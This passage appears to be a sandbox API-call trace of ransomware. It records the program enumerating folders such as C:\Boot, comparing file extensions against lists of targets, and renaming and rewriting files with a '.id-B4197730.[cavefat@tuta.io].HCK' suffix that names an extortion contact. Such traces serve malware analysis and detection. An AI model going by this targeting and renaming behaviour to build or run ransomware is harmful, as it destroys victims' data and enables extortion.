hFile=0x330, lpFileSize=0x362ff14 | out: lpFileSize=0x362ff14*=77664) returned 1 [0245.693] CloseHandle (hObject=0x330) returned 1 [0245.694] GetFileAttributesW (lpFileName="C:\\Boot\\bg-BG\\bootmgr.exe.mui" (normalized: "c:\\boot\\bg-bg\\bootmgr.exe.mui")) returned 0x20 [0245.694] GetFileAttributesW (lpFileName="C:\\Boot\\bg-BG\\bootmgr.exe.mui.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\boot\\bg-bg\\bootmgr.exe.mui.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0245.694] CreateFileW (lpFileName="C:\\Boot\\bg-BG\\bootmgr.exe.mui" (normalized: "c:\\boot\\bg-bg\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0245.694] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0245.694] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0245.694] lstrlenW (lpString=".doc") returned 4 [0245.694] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0245.694] lstrlenW (lpString=".docx") returned 5 [0245.694] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0245.694] lstrlenW (lpString=".pdf") returned 4 [0245.694] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0245.694] lstrlenW (lpString=".xls") returned 4 [0245.694] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0245.694] lstrlenW (lpString=".xlsx") returned 5 [0245.694] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0245.694] lstrlenW (lpString=".ppt") returned 4 [0245.694] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0245.694] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0245.694] lstrlenW (lpString=".zip") returned 4 [0245.694] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0245.694] lstrlenW (lpString=".rar") returned 4 [0245.694] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0245.694] lstrlenW (lpString=".bz2") returned 4 [0245.694] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0245.694] lstrlenW (lpString=".7z") returned 3 [0245.694] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0245.694] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0245.694] lstrlenW (lpString=".dbf") returned 4 [0245.694] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0245.694] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0245.694] lstrlenW (lpString=".1cd") returned 4 [0245.694] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0245.694] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0245.694] lstrlenW (lpString=".jpg") returned 4 [0245.694] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0245.694] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0245.694] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0245.694] lstrlenW (lpString=".doc") returned 4 [0245.694] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0245.694] lstrlenW (lpString=".docx") returned 5 [0245.694] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0245.695] lstrlenW (lpString=".pdf") returned 4 [0245.695] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0245.695] lstrlenW (lpString=".xls") returned 4 [0245.695] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0245.695] lstrlenW (lpString=".xlsx") returned 5 [0245.695] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0245.695] lstrlenW (lpString=".ppt") returned 4 [0245.695] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0245.695] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0245.695] lstrlenW (lpString=".zip") returned 4 [0245.695] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0245.695] lstrlenW (lpString=".rar") returned 4 [0245.695] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0245.695] lstrlenW (lpString=".bz2") returned 4 [0245.695] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0245.695] lstrlenW (lpString=".7z") returned 3 [0245.695] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0245.695] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0245.695] lstrlenW (lpString=".dbf") returned 4 [0245.695] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0245.695] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0245.695] lstrlenW (lpString=".1cd") returned 4 [0245.695] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0245.695] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0245.695] lstrlenW (lpString=".jpg") returned 4 [0245.695] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0245.695] lstrcmpiW (lpString1=".dll", lpString2=".HCK") returned -1 [0245.695] lstrlenW (lpString="bootspaces.dll") returned 14 [0245.695] CreateFileW (lpFileName="C:\\Boot\\bootspaces.dll" (normalized: "c:\\boot\\bootspaces.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0245.695] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x362ff14 | out: lpFileSize=0x362ff14*=95648) returned 1 [0245.695] CloseHandle (hObject=0x330) returned 1 [0245.696] GetFileAttributesW (lpFileName="C:\\Boot\\bootspaces.dll" (normalized: "c:\\boot\\bootspaces.dll")) returned 0x20 [0245.696] GetFileAttributesW (lpFileName="C:\\Boot\\bootspaces.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\boot\\bootspaces.dll.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0245.696] CreateFileW (lpFileName="C:\\Boot\\bootspaces.dll" (normalized: "c:\\boot\\bootspaces.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0245.696] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0245.696] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0245.696] lstrlenW (lpString=".doc") returned 4 [0245.696] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0245.696] lstrlenW (lpString=".docx") returned 5 [0245.696] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0245.696] lstrlenW (lpString=".pdf") returned 4 [0245.696] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0245.696] lstrlenW (lpString=".xls") returned 4 [0245.696] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0245.696] lstrlenW (lpString=".xlsx") returned 5 [0245.696] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0245.696] lstrlenW (lpString=".ppt") returned 4 [0245.696] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0245.696] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0245.696] lstrlenW (lpString=".zip") returned 4 [0245.696] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0245.696] lstrlenW (lpString=".rar") returned 4 [0245.696] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0245.696] lstrlenW (lpString=".bz2") returned 4 [0245.696] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0245.696] lstrlenW (lpString=".7z") returned 3 [0245.696] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0245.696] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0245.696] lstrlenW (lpString=".dbf") returned 4 [0245.696] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0245.696] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0245.696] lstrlenW (lpString=".1cd") returned 4 [0245.696] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0245.696] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0245.696] lstrlenW (lpString=".jpg") returned 4 [0245.696] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0245.696] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0245.696] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0245.696] lstrlenW (lpString=".doc") returned 4 [0245.696] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0245.696] lstrlenW (lpString=".docx") returned 5 [0245.696] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0245.696] lstrlenW (lpString=".pdf") returned 4 [0245.697] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0245.697] lstrlenW (lpString=".xls") returned 4 [0245.697] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0245.697] lstrlenW (lpString=".xlsx") returned 5 [0245.697] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0245.697] lstrlenW (lpString=".ppt") returned 4 [0245.697] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0245.697] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0245.697] lstrlenW (lpString=".zip") returned 4 [0245.697] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0245.697] lstrlenW (lpString=".rar") returned 4 [0245.697] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0245.697] lstrlenW (lpString=".bz2") returned 4 [0245.697] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0245.697] lstrlenW (lpString=".7z") returned 3 [0245.697] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0245.697] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0245.697] lstrlenW (lpString=".dbf") returned 4 [0245.697] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0245.697] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0245.697] lstrlenW (lpString=".1cd") returned 4 [0245.697] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0245.697] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0245.697] lstrlenW (lpString=".jpg") returned 4 [0245.697] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0245.697] lstrcmpiW (lpString1=".dll", lpString2=".HCK") returned -1 [0245.697] lstrlenW (lpString="bootvhd.dll") returned 11 [0245.697] CreateFileW (lpFileName="C:\\Boot\\bootvhd.dll" (normalized: "c:\\boot\\bootvhd.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0245.697] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x362ff14 | out: lpFileSize=0x362ff14*=99744) returned 1 [0245.697] CloseHandle (hObject=0x330) returned 1 [0245.697] GetFileAttributesW (lpFileName="C:\\Boot\\bootvhd.dll" (normalized: "c:\\boot\\bootvhd.dll")) returned 0x20 [0245.698] GetFileAttributesW (lpFileName="C:\\Boot\\bootvhd.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\boot\\bootvhd.dll.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0245.698] CreateFileW (lpFileName="C:\\Boot\\bootvhd.dll" (normalized: "c:\\boot\\bootvhd.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0245.698] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19 [0245.698] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19 [0245.698] lstrlenW (lpString=".doc") returned 4 [0245.698] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0245.698] lstrlenW (lpString=".docx") returned 5 [0245.698] lstrcmpiW (lpString1=".docx", lpString2="d.dll") returned -1 [0245.698] lstrlenW (lpString=".pdf") returned 4 [0245.698] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0245.698] lstrlenW (lpString=".xls") returned 4 [0245.698] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0245.698] lstrlenW (lpString=".xlsx") returned 5 [0245.698] lstrcmpiW (lpString1=".xlsx", lpString2="d.dll") returned -1 [0245.698] lstrlenW (lpString=".ppt") returned 4 [0245.698] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0245.698] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19 [0245.698] lstrlenW (lpString=".zip") returned 4 [0245.698] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0245.698] lstrlenW (lpString=".rar") returned 4 [0245.698] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0245.698] lstrlenW (lpString=".bz2") returned 4 [0245.698] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0245.698] lstrlenW (lpString=".7z") returned 3 [0245.698] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0245.701] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\chs_boot.ttf" (normalized: "c:\\boot\\fonts\\chs_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\chs_boot.ttf.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\boot\\fonts\\chs_boot.ttf.id-b4197730.[cavefat@tuta.io].hck")) returned 0 [0245.702] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\cht_boot.ttf" (normalized: "c:\\boot\\fonts\\cht_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\cht_boot.ttf.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\boot\\fonts\\cht_boot.ttf.id-b4197730.[cavefat@tuta.io].hck")) returned 0 [0245.703] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\jpn_boot.ttf.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf.id-b4197730.[cavefat@tuta.io].hck")) returned 0 [0245.704] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\kor_boot.ttf.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\boot\\fonts\\kor_boot.ttf.id-b4197730.[cavefat@tuta.io].hck")) returned 0 [0245.721] SetFileAttributesW (lpFileName="C:\\bootmgr", dwFileAttributes=0x26) returned 0 [0245.721] CreateFileW (lpFileName="C:\\bootmgr" (normalized: "c:\\bootmgr"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.105] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.105] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.105] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp120.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcp120.dll.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0246.367] GetLastError () returned 0x0 [0246.367] ReadFile (in: hFile=0x364, lpBuffer=0x3fe1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x362fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fe1020*, lpNumberOfBytesRead=0x362fecc*=0xa12a8, lpOverlapped=0x0) returned 1 [0246.387] WriteFile (hFile=0x370, lpBuffer=0x3fe1020, nNumberOfBytesToWrite=0xa12b0, lpNumberOfBytesWritten=0x362fc94, lpOverlapped=0x0) Thread: id = 382 os_tid = 0xf00 [0245.497] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xfffe) returned 0x40f0048 [0245.497] lstrlenW (lpString="C:") returned 2 [0245.497] FindFirstFileW (in: lpFileName="C:\\*", lpFindFileData=0x376fcf8 | out: lpFindFileData=0x376fcf8*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77000000, dwReserved1=0x0, cFileName="$GetCurrent", cAlternateFileName="$GETCU~1")) returned 0x53a8d8 [0245.498] lstrlenW (lpString="C:\\$GetCurrent") returned 14 [0245.498] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\$GetCurrent") returned 1 [0245.498] lstrlenW (lpString="$GetCurrent") returned 11 [0245.498] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="$GetCurrent") returned 1 [0245.498] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xfffe) returned 0x4100050 [0245.498] lstrlenW (lpString="C:\\$GetCurrent") returned 14 [0245.498] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\*", lpFindFileData=0x376fa7c | out: lpFindFileData=0x376fa7c*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName=".", cAlternateFileName="")) returned 0x53a218 [0245.498] FindNextFileW (in: hFindFile=0x53a218, lpFindFileData=0x376fa7c | out: lpFindFileData=0x376fa7c*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="..", cAlternateFileName="")) returned 1 [0245.498] FindNextFileW (in: hFindFile=0x53a218, lpFindFileData=0x376fa7c | out: lpFindFileData=0x376fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Logs", cAlternateFileName="")) returned 1 [0245.498] lstrlenW (lpString="C:\\$GetCurrent\\Logs") returned 19 [0245.498] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\$GetCurrent\\Logs") returned 1 [0245.498] lstrlenW (lpString="Logs") returned 4 [0245.498] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="Logs") returned -1 [0245.498] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xfffe) returned 0x4111060 [0245.499] lstrlenW (lpString="C:\\$GetCurrent\\Logs") returned 19 [0245.499] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\Logs\\*", lpFindFileData=0x376f800 | out: lpFindFileData=0x376f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe3f3, dwReserved1=0x3f1, cFileName=".", cAlternateFileName="")) returned 0x53a358 [0245.499] FindNextFileW (in: hFindFile=0x53a358, lpFindFileData=0x376f800 | out: lpFindFileData=0x376f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe3f3, dwReserved1=0x3f1, cFileName="..", cAlternateFileName="")) returned 1 [0245.499] FindNextFileW (in: hFindFile=0x53a358, lpFindFileData=0x376f800 | out: lpFindFileData=0x376f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa29fdc3e, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa29fdc3e, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa2a23ca4, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0xa7de, dwReserved0=0xffffe3f3, dwReserved1=0x3f1, cFileName="downlevel_2017_09_07_02_02_39_766.log.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="DOWNLE~1.HCK")) returned 1 [0245.500] lstrlenW (lpString="downlevel_2017_09_07_02_02_39_766.log.id-B4197730.[cavefat@tuta.io].HCK") returned 71 [0245.500] lstrlenW (lpString=".1cd") returned 4 [0245.500] lstrcmpiW (lpString1=".1cd", lpString2=".HCK") returned -1 [0245.500] lstrlenW (lpString=".3ds") returned 4 [0245.500] lstrcmpiW (lpString1=".3ds", lpString2=".HCK") returned -1 [0245.500] lstrlenW (lpString=".3fr") returned 4 [0245.500] lstrcmpiW (lpString1=".3fr", lpString2=".HCK") returned -1 [0245.500] lstrlenW (lpString=".3g2") returned 4 [0245.500] lstrcmpiW (lpString1=".3g2", lpString2=".HCK") returned -1 [0245.500] lstrlenW (lpString=".3gp") returned 4 [0245.500] lstrcmpiW (lpString1=".3gp", lpString2=".HCK") returned -1 [0245.500] lstrlenW (lpString=".7z") returned 3 [0245.500] lstrcmpiW (lpString1=".7z", lpString2="HCK") returned -1 [0245.500] lstrlenW (lpString=".accda") returned 6 [0245.500] lstrcmpiW (lpString1=".accda", lpString2="o].HCK") returned -1 [0245.500] lstrlenW (lpString=".accdb") returned 6 [0245.500] lstrcmpiW (lpString1=".accdb", lpString2="o].HCK") returned -1 [0245.500] lstrlenW (lpString=".accdc") returned 6 [0245.500] lstrcmpiW (lpString1=".accdc", lpString2="o].HCK") returned -1 [0245.500] lstrlenW (lpString=".accde") returned 6 [0245.500] lstrcmpiW (lpString1=".accde", lpString2="o].HCK") returned -1 [0245.500] lstrlenW (lpString=".accdt") returned 6 [0245.500] lstrcmpiW (lpString1=".accdt", lpString2="o].HCK") returned -1 [0245.500] lstrlenW (lpString=".accdw") returned 6 [0245.500] lstrcmpiW (lpString1=".accdw", lpString2="o].HCK") returned -1 [0245.500] lstrlenW (lpString=".adb") returned 4 [0245.500] lstrcmpiW (lpString1=".adb", lpString2=".HCK") returned -1 [0245.500] lstrlenW (lpString=".adp") returned 4 [0245.500] lstrcmpiW (lpString1=".adp", lpString2=".HCK") returned -1 [0245.500] lstrlenW (lpString=".ai") returned 3 [0245.500] lstrcmpiW (lpString1=".ai", lpString2="HCK") returned -1 [0245.500] lstrlenW (lpString=".ai3") returned 4 [0245.500] lstrcmpiW (lpString1=".ai3", lpString2=".HCK") returned -1 [0245.500] lstrlenW (lpString=".ai4") returned 4 [0245.500] lstrcmpiW (lpString1=".ai4", lpString2=".HCK") returned -1 [0245.500] lstrlenW (lpString=".ai5") returned 4 [0245.500] lstrcmpiW (lpString1=".ai5", lpString2=".HCK") returned -1 [0245.500] lstrlenW (lpString=".ai6") returned 4 [0245.500] lstrcmpiW (lpString1=".ai6", lpString2=".HCK") returned -1 [0245.500] lstrlenW (lpString=".ai7") returned 4 [0245.500] lstrcmpiW (lpString1=".ai7", lpString2=".HCK") returned -1 [0245.500] lstrlenW (lpString=".ai8") returned 4 [0245.500] lstrcmpiW (lpString1=".ai8", lpString2=".HCK") returned -1 [0245.500] lstrlenW (lpString=".anim") returned 5 [0245.500] lstrcmpiW (lpString1=".anim", lpString2="].HCK") returned -1 [0245.500] lstrlenW (lpString=".arw") returned 4 [0245.500] lstrcmpiW (lpString1=".arw", lpString2=".HCK") returned -1 [0245.500] lstrlenW (lpString=".as") returned 3 [0245.500] lstrcmpiW (lpString1=".as", lpString2="HCK") returned -1 [0245.500] lstrlenW (lpString=".asa") returned 4 [0245.501] lstrcmpiW (lpString1=".asa", lpString2=".HCK") returned -1 [0245.501] lstrlenW (lpString=".asc") returned 4 [0245.501] lstrcmpiW (lpString1=".asc", lpString2=".HCK") returned -1 [0245.501] lstrlenW (lpString=".ascx") returned 5 [0245.501] lstrcmpiW (lpString1=".ascx", lpString2="].HCK") returned -1 [0245.501] lstrlenW (lpString=".asm") returned 4 [0245.501] lstrcmpiW (lpString1=".asm", lpString2=".HCK") returned -1 [0245.501] lstrlenW (lpString=".asmx") returned 5 [0245.501] lstrcmpiW (lpString1=".asmx", lpString2="].HCK") returned -1 [0245.501] lstrlenW (lpString=".asp") returned 4 [0245.501] lstrcmpiW (lpString1=".asp", lpString2=".HCK") returned -1 [0245.501] lstrlenW (lpString=".aspx") returned 5 [0245.501] lstrcmpiW (lpString1=".aspx", lpString2="].HCK") returned -1 [0245.501] lstrlenW (lpString=".asr") returned 4 [0245.501] lstrcmpiW (lpString1=".asr", lpString2=".HCK") returned -1 [0245.501] lstrlenW (lpString=".asx") returned 4 [0245.501] lstrcmpiW (lpString1=".asx", lpString2=".HCK") returned -1 [0245.501] lstrlenW (lpString=".avi") returned 4 [0245.501] lstrcmpiW (lpString1=".avi", lpString2=".HCK") returned -1 [0245.501] lstrlenW (lpString=".avs") returned 4 [0245.501] lstrcmpiW (lpString1=".avs", lpString2=".HCK") returned -1 [0245.501] lstrlenW (lpString=".backup") returned 7 [0245.501] lstrcmpiW (lpString1=".backup", lpString2="io].HCK") returned -1 [0245.501] lstrlenW (lpString=".bak") returned 4 [0245.501] lstrcmpiW (lpString1=".bak", lpString2=".HCK") returned -1 [0245.501] lstrlenW (lpString=".bay") returned 4 [0245.501] lstrcmpiW (lpString1=".bay", lpString2=".HCK") returned -1 [0245.501] lstrlenW (lpString=".bd") returned 3 [0245.501] lstrcmpiW (lpString1=".bd", lpString2="HCK") returned -1 [0245.501] lstrlenW (lpString=".bin") returned 4 [0245.501] lstrcmpiW (lpString1=".bin", lpString2=".HCK") returned -1 [0245.501] lstrlenW (lpString=".bmp") returned 4 [0245.501] lstrcmpiW (lpString1=".bmp", lpString2=".HCK") returned -1 [0245.501] lstrlenW (lpString=".bz2") returned 4 [0245.501] lstrcmpiW (lpString1=".bz2", lpString2=".HCK") returned -1 [0245.501] lstrlenW (lpString=".c") returned 2 [0245.501] lstrcmpiW (lpString1=".c", lpString2="CK") returned -1 [0245.501] lstrlenW (lpString=".cdr") returned 4 [0245.501] lstrcmpiW (lpString1=".cdr", lpString2=".HCK") returned -1 [0245.501] lstrlenW (lpString=".cer") returned 4 [0245.501] lstrcmpiW (lpString1=".cer", lpString2=".HCK") returned -1 [0245.501] lstrlenW (lpString=".cf") returned 3 [0245.501] lstrcmpiW (lpString1=".cf", lpString2="HCK") returned -1 [0245.501] lstrlenW (lpString=".cfc") returned 4 [0245.501] lstrcmpiW (lpString1=".cfc", lpString2=".HCK") returned -1 [0245.501] lstrlenW (lpString=".cfm") returned 4 [0245.501] lstrcmpiW (lpString1=".cfm", lpString2=".HCK") returned -1 [0245.501] lstrlenW (lpString=".cfml") returned 5 [0245.501] lstrcmpiW (lpString1=".cfml", lpString2="].HCK") returned -1 [0245.501] lstrlenW (lpString=".cfu") returned 4 [0245.501] lstrcmpiW (lpString1=".cfu", lpString2=".HCK") returned -1 [0245.502] lstrlenW (lpString=".chm") returned 4 [0245.502] lstrcmpiW (lpString1=".chm", 